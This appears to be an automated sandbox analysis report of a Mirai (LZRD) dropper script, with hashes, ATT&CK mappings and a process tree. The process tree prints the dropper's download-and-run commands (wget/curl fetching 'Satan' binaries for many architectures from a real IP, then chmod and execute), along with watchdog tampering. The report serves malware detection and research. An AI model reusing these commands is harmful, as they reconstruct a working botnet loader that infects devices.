mirai | a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
16/11/2024, 10:45

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General

Target
a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
Size 2KB
Sample241116-mtckzaveml
SHA256 a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc
MD5 17dc87aa6fd321baa68de49069e245fd
SHA1 9590e1b95bcaa461b575a8b92c2c7fa1f172888b
SHA512 1e556b174293de1df010cd82382e517d64386e8d80667e74d768ae1ab3ab0fdcf58376be1647b69c48b82897e4e9e522c6704e4cbb5069b3e96e70fb93151c63
MD5 SHA1 SHA512

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1610	chmod
1518	chmod
1530	chmod
1540	chmod
1570	chmod
1560	chmod
1580	chmod
1590	chmod
1600	chmod
1492	chmod
1498	chmod
1508	chmod
1550	chmod
1630	chmod
1620	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Satan	1493	Satan
/tmp/Satan	1499	Satan
/tmp/Satan	1509	Satan
/tmp/Satan	1519	Satan
/tmp/Satan	1531	Satan
/tmp/Satan	1541	Satan
/tmp/Satan	1551	Satan
/tmp/Satan	1561	Satan
/tmp/Satan	1571	Satan
/tmp/Satan	1581	Satan
/tmp/Satan	1591	Satan
/tmp/Satan	1601	Satan
/tmp/Satan	1611	Satan
/tmp/Satan	1621	Satan
/tmp/Satan	1631	Satan

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1170/status	Satan
File opened for reading	/proc/451/status	Satan
File opened for reading	/proc/1522/status	Satan
File opened for reading	/proc/1/status	Satan
File opened for reading	/proc/328/status	Satan
File opened for reading	/proc/7/status	Satan
File opened for reading	/proc/17/status	Satan
File opened for reading	/proc/857/status	Satan
File opened for reading	/proc/1139/status	Satan
File opened for reading	/proc/1125/status	Satan
File opened for reading	/proc/1195/status	Satan
File opened for reading	/proc/24/status	Satan
File opened for reading	/proc/13/status	Satan
File opened for reading	/proc/154/status	Satan
File opened for reading	/proc/1104/status	Satan
File opened for reading	/proc/1133/status	Satan
File opened for reading	/proc/1144/status	Satan
File opened for reading	/proc/1574/status	Satan
File opened for reading	/proc/15/status	Satan
File opened for reading	/proc/5/status	Satan
File opened for reading	/proc/624/status	Satan
File opened for reading	/proc/167/status	Satan
File opened for reading	/proc/1221/status	Satan
File opened for reading	/proc/25/status	Satan
File opened for reading	/proc/1235/status	Satan
File opened for reading	/proc/1566/status	Satan
File opened for reading	/proc/83/status	Satan
File opened for reading	/proc/163/status	Satan
File opened for reading	/proc/451/status	Satan
File opened for reading	/proc/154/status	Satan
File opened for reading	/proc/1173/status	Satan
File opened for reading	/proc/152/status	Satan
File opened for reading	/proc/15/status	Satan
File opened for reading	/proc/1594/status	Satan
File opened for reading	/proc/1574/status	Satan
File opened for reading	/proc/6/status	Satan
File opened for reading	/proc/1534/status	Satan
File opened for reading	/proc/506/status	Satan
File opened for reading	/proc/1175/status	Satan
File opened for reading	/proc/130/status	Satan
File opened for reading	/proc/934/status	Satan
File opened for reading	/proc/16/status	Satan
File opened for reading	/proc/1059/status	Satan
File opened for reading	/proc/3/status	Satan
File opened for reading	/proc/169/status	Satan
File opened for reading	/proc/159/status	Satan
File opened for reading	/proc/12/status	Satan
File opened for reading	/proc/15/status	Satan
File opened for reading	/proc/1596/status	Satan
File opened for reading	/proc/78/status	Satan
File opened for reading	/proc/6/status	Satan
File opened for reading	/proc/7/status	Satan
File opened for reading	/proc/1546/status	Satan
File opened for reading	/proc/590/status	Satan
File opened for reading	/proc/624/status	Satan
File opened for reading	/proc/1531/status	Satan
File opened for reading	/proc/1170/status	Satan
File opened for reading	/proc/5/status	Satan
File opened for reading	/proc/592/status	Satan
File opened for reading	/proc/1070/status	Satan
File opened for reading	/proc/24/status	Satan
File opened for reading	/proc/1130/status	Satan
File opened for reading	/proc/169/status	Satan
File opened for reading	/proc/19/status	Satan

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1525	wget
1528	curl
1537	wget
1538	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Satan.mpsl	curl
File opened for modification	/tmp/Satan.arm5	wget
File opened for modification	/tmp/Satan.arm7	wget
File opened for modification	/tmp/Satan.i686	curl
File opened for modification	/tmp/Satan.arm6	curl
File opened for modification	/tmp/Satan.sh4	curl
File opened for modification	/tmp/Satan.x86	wget
File opened for modification	/tmp/Satan.x86_64	wget
File opened for modification	/tmp/Satan.i686	wget
File opened for modification	/tmp/Satan.arm	curl
File opened for modification	/tmp/Satan.sparc	curl
File opened for modification	/tmp/Satan.m68k	curl
File opened for modification	/tmp/Satan.arc	curl
File opened for modification	/tmp/Satan.arc	wget
File opened for modification	/tmp/Satan.mips	wget
File opened for modification	/tmp/Satan.mips64	curl
File opened for modification	/tmp/Satan.mpsl	wget
File opened for modification	/tmp/Satan.ppc	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/Satan.m68k	wget
File opened for modification	/tmp/Satan.arm6	wget
File opened for modification	/tmp/Satan.x86	curl
File opened for modification	/tmp/Satan.x86_64	curl
File opened for modification	/tmp/Satan.mips	curl
File opened for modification	/tmp/Satan	a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
File opened for modification	/tmp/Satan.arm5	curl
File opened for modification	/tmp/Satan.arm7	curl
File opened for modification	/tmp/Satan.ppc	wget
File opened for modification	/tmp/Satan.sh4	wget
File opened for modification	/tmp/Satan.arm	wget

/tmp/a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
/tmp/a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
1⤵
- Writes file to tmp directory
PID:1466
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1469
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.arc
  2⤵
  - Writes file to tmp directory
  PID:1470
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.arc
  2⤵
  - Writes file to tmp directory
  PID:1482
- /bin/cat
  cat Satan.arc
  2⤵
  PID:1491
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-BVPKLT
  2⤵
  - File and Directory Permissions Modification
  PID:1492
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  PID:1493
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.x86
  2⤵
  - Writes file to tmp directory
  PID:1495
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.x86
  2⤵
  - Writes file to tmp directory
  PID:1496
- /bin/cat
  cat Satan.x86
  2⤵
  PID:1497
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.x86 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-BVPKLT
  2⤵
  - File and Directory Permissions Modification
  PID:1498
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1499
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1505
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-BVPKLT
  2⤵
  - File and Directory Permissions Modification
  PID:1508
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1509
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.i686
  2⤵
  - Writes file to tmp directory
  PID:1515
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.i686
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.i686 Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-BVPKLT
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1519
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1525
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1528
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.i686 Satan.mips Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1531
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1537
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1538
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1541
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1547
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1551
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.arm
  2⤵
  - Writes file to tmp directory
  PID:1557
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.arm
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.arm Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1561
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.arm5
  2⤵
  - Writes file to tmp directory
  PID:1567
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.arm5
  2⤵
  - Writes file to tmp directory
  PID:1568
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.arm Satan.arm5 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1571
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.arm6
  2⤵
  - Writes file to tmp directory
  PID:1577
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.arm6
  2⤵
  - Writes file to tmp directory
  PID:1578
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z
  2⤵
  - File and Directory Permissions Modification
  PID:1580
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1581
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.arm7
  2⤵
  - Writes file to tmp directory
  PID:1587
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.arm7
  2⤵
  - Writes file to tmp directory
  PID:1588
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z
  2⤵
  - File and Directory Permissions Modification
  PID:1590
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1591
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.ppc
  2⤵
  - Writes file to tmp directory
  PID:1597
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.ppc
  2⤵
  - Writes file to tmp directory
  PID:1598
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1601
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.sparc
  2⤵
  PID:1607
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.sparc
  2⤵
  - Writes file to tmp directory
  PID:1608
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z
  2⤵
  - File and Directory Permissions Modification
  PID:1610
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1611
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.m68k
  2⤵
  - Writes file to tmp directory
  PID:1617
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.m68k
  2⤵
  - Writes file to tmp directory
  PID:1618
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z
  2⤵
  - File and Directory Permissions Modification
  PID:1620
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1621
- /usr/bin/wget
  wget http://64.235.45.196/nice/Satan.sh4
  2⤵
  - Writes file to tmp directory
  PID:1627
- /usr/bin/curl
  curl -O http://64.235.45.196/nice/Satan.sh4
  2⤵
  - Writes file to tmp directory
  PID:1628
- /bin/chmod
  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox config-err-d1U8bY netplan_q4owmhud Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sh4 Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z
  2⤵
  - File and Directory Permissions Modification
  PID:1630
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1631

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

Satan

Path /tmp/Satan
Size 37KB
SHA256 45dfa91dd7d2e4786d97d8306ecd7ddb681ee47307c5c71adfa363a99579e9a7
MD5 08cf04b0ad15a8c7c449088e16315353
SHA1 ffacbdbcd817f007e6c57c54b4bbbf69c717670e
SHA512 5484205f6981d97b2712a1d1b9ae18133ddd279aa466a0fb4da48e4613a9e33a45d2f83fe938a890308c1fab93f6ef44c0665c8b2d21990fe2284c88909adcae
SSDEEP 768:ha+BWS+ZPwIIBPGXna4nvdQL5zc6R96SMO/ieUeSMIAdhLc8Cf71nbcuyD7UrQRq:ha+BH+hKBAa4Vcc6RwSMO/ieCMzXI8CB
MD5 SHA1 SHA512 SSDEEP

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Satan.arc

Path /tmp/Satan.arc
Size 113KB
SHA256 a5b802a712ab8b03041deb61d6a552a951b998570cf2fc842958974666c9387f
MD5 731281856cddc0758f79ba6dc1cda3c4
SHA1 afd1c9de211952031af53529c4c5de07e17c3a8a
SHA512 4d9514e59144a5c15b6290d72f77bf2b61d888a422b037710e512995e7df29e39f1da19af7a836172b4d593ff0f5dc0223b188d82ce06defa35b9aadb362bbc6
SSDEEP 1536:pkA9afIgfNMW3zC8aRGGTtJM/qrlpmxJ6nDgJ4/LWW:6fIw3e8ZE3MYlphDgJ4q
MD5 SHA1 SHA512 SSDEEP

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busybox

Path /tmp/busybox
Size 2.0MB
SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
MD5 b4dede5fc0b1bad5cb8e901bde126b97
SHA1 10cbe9a418ad84a1ed297948539d37aeb58dd810
SHA512 45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6
SSDEEP 49152:YfQ1HrHIYLrf2uxW2kx7gRHdITdHR8MonrH1NqCgkR:WYfFVdIpGxz1E
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads